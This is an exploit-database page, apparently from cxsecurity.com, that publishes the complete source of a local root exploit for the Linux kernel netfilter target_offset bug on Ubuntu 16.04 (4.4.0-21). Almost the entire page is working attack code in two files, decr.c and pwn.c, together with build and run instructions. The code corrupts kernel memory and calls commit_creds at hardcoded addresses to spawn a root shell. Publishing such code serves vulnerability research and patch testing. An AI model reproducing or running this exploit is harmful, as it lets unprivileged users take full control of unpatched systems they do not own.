Linux Kernel < 4.4.0-21 (Ubuntu 16.04 x64) netfilter target_offset Local Privilege Escalation

2018.03.20
Risk: High
Local: Yes
Remote: No
CVE: N/A
CWE: CWE-264

/** Video ~ https://www.youtube.com/watch?v=qchiJn94kTo **/ /** decr.c **/ /** * Ubuntu 16.04 local root exploit - netfilter target_offset OOB * check_compat_entry_size_and_hooks/check_entry * * Tested on 4.4.0-21-generic. SMEP/SMAP bypass available in descr_v2.c * * Vitaly Nikolenko * vnik@cyseclabs.com * 23/04/2016 * * * ip_tables.ko needs to be loaded (e.g., iptables -L as root triggers * automatic loading). * * vnik@ubuntu:~$ uname -a * Linux ubuntu 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux * vnik@ubuntu:~$ gcc decr.c -m32 -O2 -o decr * vnik@ubuntu:~$ gcc pwn.c -O2 -o pwn * vnik@ubuntu:~$ ./decr * netfilter target_offset Ubuntu 16.04 4.4.0-21-generic exploit by vnik * [!] Decrementing the refcount. This may take a while... * [!] Wait for the "Done" message (even if you'll get the prompt back). * vnik@ubuntu:~$ [+] Done! Now run ./pwn * * vnik@ubuntu:~$ ./pwn * [+] Escalating privs... * root@ubuntu:~# id * uid=0(root) gid=0(root) groups=0(root) * root@ubuntu:~# * */ #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sched.h> #include <linux/sched.h> #include <errno.h> #include <sys/types.h> #include <sys/socket.h> #include <sys/ptrace.h> #include <netinet/in.h> #include <net/if.h> #include <linux/netfilter_ipv4/ip_tables.h> #include <linux/netlink.h> #include <fcntl.h> #include <sys/mman.h> #define MALLOC_SIZE 66*1024 int check_smaep() { FILE *proc_cpuinfo; char fbuf[512]; proc_cpuinfo = fopen("/proc/cpuinfo", "r"); if (proc_cpuinfo < 0) { perror("fopen"); return -1; } memset(fbuf, 0, sizeof(fbuf)); while(fgets(fbuf, 512, proc_cpuinfo) != NULL) { if (strlen(fbuf) == 0) continue; if (strstr(fbuf, "smap") || strstr(fbuf, "smep")) { fclose(proc_cpuinfo); return -1; } } fclose(proc_cpuinfo); return 0; } int check_mod() { FILE *proc_modules; char fbuf[256]; proc_modules = fopen("/proc/modules", "r"); if (proc_modules < 0) { perror("fopen"); return -1; } memset(fbuf, 0, sizeof(fbuf)); while(fgets(fbuf, 256, proc_modules) != NULL) { if (strlen(fbuf) == 0) continue; if (!strncmp("ip_tables", fbuf, 9)) { fclose(proc_modules); return 0; } } fclose(proc_modules); return -1; } int decr(void *p) { int sock, optlen; int ret; void *data; struct ipt_replace *repl; struct ipt_entry *entry; struct xt_entry_match *ematch; struct xt_standard_target *target; unsigned i; sock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW); if (sock == -1) { perror("socket"); return -1; } data = malloc(MALLOC_SIZE); if (data == NULL) { perror("malloc"); return -1; } memset(data, 0, MALLOC_SIZE); repl = (struct ipt_replace *) data; repl->num_entries = 1; repl->num_counters = 1; repl->size = sizeof(*repl) + sizeof(*target) + 0xffff; repl->valid_hooks = 0; entry = (struct ipt_entry *) (data + sizeof(struct ipt_replace)); entry->target_offset = 74; // overwrite target_offset entry->next_offset = sizeof(*entry) + sizeof(*ematch) + sizeof(*target); ematch = (struct xt_entry_match *) (data + sizeof(struct ipt_replace) + sizeof(*entry)); strcpy(ematch->u.user.name, "icmp"); void *kmatch = (void*)mmap((void *)0x10000, 0x1000, 7, 0x32, 0, 0); uint64_t *me = (uint64_t *)(kmatch + 0x58); *me = 0xffffffff821de10d; // magic number! uint32_t *match = (uint32_t *)((char *)&ematch->u.kernel.match + 4); *match = (uint32_t)kmatch; ematch->u.match_size = (short)0xffff; target = (struct xt_standard_target *)(data + sizeof(struct ipt_replace) + 0xffff + 0x8); uint32_t *t = (uint32_t *)target; *t = (uint32_t)kmatch; printf("[!] Decrementing the refcount. This may take a while...\n"); printf("[!] Wait for the \"Done\" message (even if you'll get the prompt back).\n"); for (i = 0; i < 0xffffff/2+1; i++) { ret = setsockopt(sock, SOL_IP, IPT_SO_SET_REPLACE, (void *) data, 66*1024); } close(sock); free(data); printf("[+] Done! Now run ./pwn\n"); return 0; } int main(void) { void *stack; int ret; printf("netfilter target_offset Ubuntu 16.04 4.4.0-21-generic exploit by vnik\n"); if (check_mod()) { printf("[-] No ip_tables module found! Quitting...\n"); return -1; } if (check_smaep()) { printf("[-] SMEP/SMAP support dectected! Quitting...\n"); return -1; } ret = unshare(CLONE_NEWUSER); if (ret == -1) { perror("unshare"); return -1; } stack = (void *) malloc(65536); if (stack == NULL) { perror("malloc"); return -1; } clone(decr, stack + 65536, CLONE_NEWNET, NULL); sleep(1); return 0; } /** decr.c EOF **/ /** pwn.c **/ /** * Run ./decr first! * * 23/04/2016 * - vnik */ #include <stdio.h> #include <string.h> #include <errno.h> #include <unistd.h> #include <stdint.h> #include <fcntl.h> #include <sys/mman.h> #include <assert.h> #define MMAP_ADDR 0xff814e3000 #define MMAP_OFFSET 0xb0 typedef int __attribute__((regparm(3))) (*commit_creds_fn)(uint64_t cred); typedef uint64_t __attribute__((regparm(3))) (*prepare_kernel_cred_fn)(uint64_t cred); void __attribute__((regparm(3))) privesc() { commit_creds_fn commit_creds = (void *)0xffffffff810a21c0; prepare_kernel_cred_fn prepare_kernel_cred = (void *)0xffffffff810a25b0; commit_creds(prepare_kernel_cred((uint64_t)NULL)); } int main() { void *payload = (void*)mmap((void *)MMAP_ADDR, 0x400000, 7, 0x32, 0, 0); assert(payload == (void *)MMAP_ADDR); void *shellcode = (void *)(MMAP_ADDR + MMAP_OFFSET); memset(shellcode, 0, 0x300000); void *ret = memcpy(shellcode, &privesc, 0x300); assert(ret == shellcode); printf("[+] Escalating privs...\n"); int fd = open("/dev/ptmx", O_RDWR); close(fd); assert(!getuid()); printf("[+] We've got root!"); return execl("/bin/bash", "-sh", NULL); } /** pwn.c EOF **/

References:

https://www.youtube.com/watch?v=qchiJn94kTo


Vote for this issue:
100%
0%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2018, cxsecurity.com

 

Back to Top